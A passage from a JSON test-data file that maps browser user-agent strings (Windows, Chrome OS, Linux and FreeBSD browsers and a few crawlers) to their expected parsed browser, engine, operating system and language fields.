"EN", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14" : { "browser" : "firefox", "browser_beta" : ".0.14", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".1.14", "engine_major" : "1", "engine_minor" : ".8", "engine_string" : "Gecko", "engine_version" : "1.8", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1" : { "browser" : "mozilla", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Mozilla", "country" : "US", "engine" : "gecko", "engine_beta" : ".1.2", "engine_major" : "1", "engine_minor" : ".8", "engine_string" : "Gecko", "engine_version" : "1.8", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "netscape", "mozilla", "nav4up", "nav45up", "nav6", "nav6up", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5" : { "browser" : "firefox", "browser_beta" : ".5", "browser_major" : "3", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".0.5", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.13) Gecko/2009073022 Firefox/3.5.2 (.NET CLR 3.5.30729) SurveyBot/2.3 (DomainTools)" : { "browser" : "firefox", "browser_beta" : ".2", "browser_major" : "3", "browser_minor" : ".5", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".0.13", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko", "robot", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : "unknown", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".3", "robot_name" : "SurveyBot", "robot_version" : "2.3" }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11" : { "browser" : "firefox", "browser_beta" : ".0.11", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".1.11", "engine_major" : "1", "engine_minor" : ".8", "engine_string" : "Gecko", "engine_version" : "1.8", "language" : "IT", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2" : { "browser" : "firefox", "browser_beta" : ".2", "browser_major" : "3", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".0.2", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "RU", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "country" : "CN", "engine" : "webkit", "engine_beta" : "", "engine_major" : "523", "engine_minor" : ".15", "engine_string" : "WebKit", "engine_version" : "523.15", "language" : "ZH", "match" : [ "windows", "winnt", "win32", "winxp", "safari", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0" : { "browser" : "firefox", "browser_major" : "3", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "CN", "engine" : "gecko", "engine_beta" : "", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "ZH", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.2) Firefox/3.5.2" : { "browser" : "firefox", "browser_beta" : ".2", "browser_major" : "3", "browser_minor" : ".5", "browser_string" : "Firefox", "country" : "CN", "language" : "ZH", "match" : [ "windows", "winnt", "win32", "winxp", "firefox" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1" : { "browser" : "firefox", "browser_beta" : ".1", "browser_major" : "3", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_string" : "Gecko", "match" : [ "windows", "winnt", "win32", "win2k3", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1" : { "browser" : "firefox", "browser_beta" : ".1", "browser_major" : 0, "browser_minor" : ".6", "browser_string" : "Firebird", "country" : "US", "engine" : "gecko", "engine_beta" : "", "engine_major" : "1", "engine_minor" : ".5", "engine_string" : "Gecko", "engine_version" : "1.5", "language" : "EN", "match" : [ "windows", "winnt", "win32", "win2k3", "firefox", "firebird", "gecko" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4" : { "browser" : "firefox", "browser_beta" : ".4", "browser_major" : "3", "browser_minor" : ".5", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".1.4", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "windows", "winnt", "win32", "win2k3", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729)" : { "browser" : "firefox", "browser_beta" : ".8", "browser_major" : "3", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "GB", "engine" : "gecko", "engine_beta" : ".0.8", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winvista", "firefox", "gecko", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4" : { "browser" : "firefox", "browser_beta" : ".4", "browser_major" : "3", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".0.4", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winvista", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6" : { "browser" : "firefox", "browser_beta" : ".6", "browser_major" : "3", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".0.6", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winvista", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB6 (.NET CLR 3.5.30729)" : { "beta" : ".3", "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".2.3", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "major" : "3", "match" : [ "windows", "winnt", "win32", "winvista", "firefox", "gecko", "dotnet" ], "minor" : ".6", "os" : "windows", "os_string" : "WinVista", "public_beta" : ".3", "public_major" : "3", "public_minor" : ".6", "public_version" : 3.6, "version" : 3.6 }, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8" : { "browser" : "firefox", "browser_beta" : ".8", "browser_major" : "3", "browser_minor" : ".6", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".2.8", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winvista", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.1; WOW64; en-US; rv:2.0.4) Gecko/20120718 AskTbAVR-IDW/3.12.5.17700 Firefox/14.0.1" : { "browser" : "firefox", "browser_beta" : ".1", "browser_major" : "14", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".4", "engine_major" : "2", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "2.0", "language" : "EN", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12" : { "browser" : "firefox", "browser_beta" : ".12", "browser_major" : "3", "browser_minor" : ".6", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".2.12", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "DE", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.18 Safari/534.10" : { "browser" : "chrome", "browser_beta" : ".552.18", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".10", "engine_string" : "WebKit", "engine_version" : "534.10", "language" : "EN", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.606.0 Safari/534.14" : { "browser" : "chrome", "browser_beta" : ".606.0", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".14", "engine_string" : "WebKit", "engine_version" : "534.14", "language" : "EN", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.638.0 Safari/534.16" : { "browser" : "chrome", "browser_beta" : ".638.0", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".16", "engine_string" : "WebKit", "engine_version" : "534.16", "language" : "EN", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.642.2 Safari/534.16" : { "browser" : "chrome", "browser_beta" : ".642.2", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".16", "engine_string" : "WebKit", "engine_version" : "534.16", "language" : "EN", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16" : { "browser" : "chrome", "browser_beta" : ".648.204", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".16", "engine_string" : "WebKit", "engine_version" : "534.16", "language" : "EN", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" : { "browser" : "firefox", "browser_major" : "3", "browser_minor" : ".6", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".2", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.23) Gecko/20110920 Firefox/3.6.23" : { "browser" : "firefox", "browser_beta" : ".23", "browser_major" : "3", "browser_minor" : ".6", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".2.23", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28" : { "browser" : "firefox", "browser_beta" : ".28", "browser_major" : "3", "browser_minor" : ".6", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".2.28", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 sputnik 2.1.0.18 YB/4.3.0" : { "browser" : "firefox", "browser_beta" : ".13", "browser_major" : "3", "browser_minor" : ".6", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".2.13", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "RU", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15" : { "browser" : "firefox", "browser_beta" : ".15", "browser_major" : "3", "browser_minor" : ".6", "browser_string" : "Firefox", "country" : "CN", "engine" : "gecko", "engine_beta" : ".2.15", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "ZH", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (X11; CrOS armv7l 6457.94.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.114 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.114", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "chromeos", "chrome", "webkit", "x11" ], "os" : "chromeos", "os_beta" : ".0", "os_major" : "6457", "os_minor" : ".94", "os_string" : "Chrome OS", "os_version" : "6457.94", "robot" : 0 }, "Mozilla/5.0 (X11; CrOS i686 0.13.507) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/13.0.763.0 Safari/534.35" : { "browser" : "chrome", "browser_beta" : ".763.0", "browser_major" : "13", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".35", "engine_string" : "WebKit", "engine_version" : "534.35", "match" : [ "chromeos", "chrome", "webkit", "x11" ], "os" : "chromeos", "os_beta" : ".507", "os_major" : "0", "os_minor" : ".13", "os_string" : "Chrome OS", "os_version" : "0.13", "robot" : 0 }, "Mozilla/5.0 (X11; CrOS i686 0.13.587) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.14 Safari/535.1" : { "browser" : "chrome", "browser_beta" : ".782.14", "browser_major" : "13", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "535.1", "match" : [ "chromeos", "chrome", "webkit", "x11" ], "os" : "chromeos", "os_beta" : ".587", "os_major" : "0", "os_minor" : ".13", "os_string" : "Chrome OS", "os_version" : "0.13", "robot" : 0 }, "Mozilla/5.0 (X11; CrOS i686 1193.158.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7" : { "browser" : "chrome", "browser_beta" : ".912.75", "browser_major" : "16", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".7", "engine_string" : "WebKit", "engine_version" : "535.7", "match" : [ "chromeos", "chrome", "webkit", "x11" ], "os" : "chromeos", "os_beta" : ".0", "os_major" : "1193", "os_minor" : ".158", "os_string" : "Chrome OS", "os_version" : "1193.158", "robot" : 0 }, "Mozilla/5.0 (X11; CrOS x86_64 6310.68.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.96 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2171.96", "browser_major" : "39", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "chromeos", "chrome", "webkit", "x11" ], "os" : "chromeos", "os_beta" : ".0", "os_major" : "6310", "os_minor" : ".68", "os_string" : "Chrome OS", "os_version" : "6310.68", "robot" : 0 }, "Mozilla/5.0 (X11; CrOS x86_64 6680.58.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2272.76", "browser_major" : "41", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "chromeos", "chrome", "webkit", "x11" ], "os" : "chromeos", "os_beta" : ".0", "os_major" : "6680", "os_minor" : ".58", "os_string" : "Chrome OS", "os_version" : "6680.58", "robot" : 0 }, "Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11" : { "beta" : ".963.65", "browser" : "chrome", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".11", "engine_string" : "WebKit", "engine_version" : "535.11", "major" : "17", "match" : [ "unix", "bsd", "freebsd", "chrome", "webkit", "x11" ], "minor" : ".0", "os" : "unix", "os_string" : "FreeBSD", "public_beta" : ".963.65", "public_major" : "17", "public_minor" : ".0", "public_version" : 17, "version" : 17 }, "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:11.0) Gecko/20120312 Firefox/11.0 SeaMonkey/2.8" : { "browser" : "firefox", "browser_major" : "11", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "11", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "11.0", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:31.0) Gecko/20100101 Firefox/31.0" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "31", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "31.0", "major" : "31", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "minor" : ".0", "os" : "linux", "os_string" : "Linux", "public_major" : "31", "public_minor" : ".0", "public_version" : 31, "version" : 31 }, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Slackware/Chrome/12.0.742.100 Safari/534.30" : { "browser" : "chrome", "browser_beta" : ".742.100", "browser_major" : "12", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "match" : [ "unix", "linux", "chrome", "webkit", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1599.66", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "unix", "linux", "chrome", "webkit", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5" : { "browser" : "mozilla", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Mozilla", "engine" : "gecko", "engine_string" : "Gecko", "match" : [ "unix", "linux", "netscape", "mozilla", "nav4up", "nav45up", "nav6", "nav6up", "gecko", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) Arora/0.11.0 Safari/534.34" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".34", "engine_string" : "WebKit", "engine_version" : "534.34", "match" : [ "unix", "linux", "safari", "webkit", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) Qt/4.8.2 Safari/534.34" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".34", "engine_string" : "WebKit", "engine_version" : "534.34", "match" : [ "unix", "linux", "safari", "webkit", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltoimage Safari/534.34" : { "beta" : ".34", "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".34", "engine_string" : "WebKit", "engine_version" : "534.34", "major" : 5, "match" : [ "unix", "linux", "safari", "webkit", "x11" ], "minor" : ".34", "os" : "linux", "os_string" : "Linux", "public_major" : "2", "public_minor" : 0, "public_version" : 2, "version" : 5.34 }, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 solfo-linkchecker/1.0 (http://solfo.com/linkbot.html)" : { "browser" : "chrome", "browser_beta" : ".835.186", "browser_major" : "14", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "535.1", "match" : [ "unix", "linux", "chrome", "webkit", "robot", "linkchecker", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : "linkchecker", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "LinkChecker", "robot_version" : "1.0" }, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.21 (KHTML, like Gecko) imgsizer Safari/537.21" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".21", "engine_string" : "WebKit", "engine_version" : "537.21", "match" : [ "unix", "linux", "safari", "webkit", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.21 (KHTML, like Gecko) profiller Safari/537.21" : { "beta" : ".21", "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".21", "engine_string" : "WebKit", "engine_version" : "537.21", "major" : 5, "match" : [ "unix", "linux", "safari", "webkit", "x11" ], "minor" : ".37", "os" : "linux", "os_string" : "Linux", "public_major" : "2", "public_minor" : 0, "public_version" : 2, "version" : 5.37 }, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.54 like Chrome/44.0.2403.63 Safari/537.36" : { "browser" : "silk", "browser_beta" : ".54", "browser_major" : "44", "browser_minor" : ".1", "browser_string" : "Silk", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "match" : [ "unix", "linux", "silk", "webkit", "x11" ], "os" : "linux", "os_string" : "Linux" }, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/30.0.1599.114 Chrome/30.0.1599.114 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1599.114", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chromium", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "unix", "linux", "chrome", "webkit", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/39.0.2171.65 Chrome/39.0.2171.65 Safari/537.36" : { "beta" : ".2171.65", "browser" : "chrome", "browser_string" : "Chromium", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "major" : "39", "match" : [ "unix", "linux", "chrome", "webkit", "x11" ], "minor" : ".0", "os" : "linux", "os_string" : "Linux", "public_beta" : ".2171.65", "public_major" : "39", "public_minor" : ".0", "public_version" : 39, "version" : 39 }, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; Google Web Preview) Chrome/27.0.1453 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1453", "browser_major" : "27", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "unix", "linux", "chrome", "webkit", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; Linux x86_64; rv:2.0b9pre) Gecko/20110111 Firefox/4.0b9pre" : { "browser" : "firefox", "browser_beta" : "b9pre", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "2", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "2.0", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140205 Firefox/24.0 Iceweasel/24.3.0" : { "browser" : "firefox", "browser_major" : "24", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "24", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "24.0", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.5) Gecko/20031021" : { "browser" : "mozilla", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Mozilla", "country" : "US", "engine" : "gecko", "engine_beta" : "", "engine_major" : "1", "engine_minor" : ".5", "engine_string" : "Gecko", "engine_version" : "1.5", "language" : "EN", "match" : [ "unix", "bsd", "freebsd", "netscape", "mozilla", "nav4up", "nav45up", "nav6", "nav6up", "gecko", "x11" ], "os" : "unix", "os_string" : "FreeBSD", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux i586; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2" : { "browser" : "chrome", "browser_beta" : ".342.1", 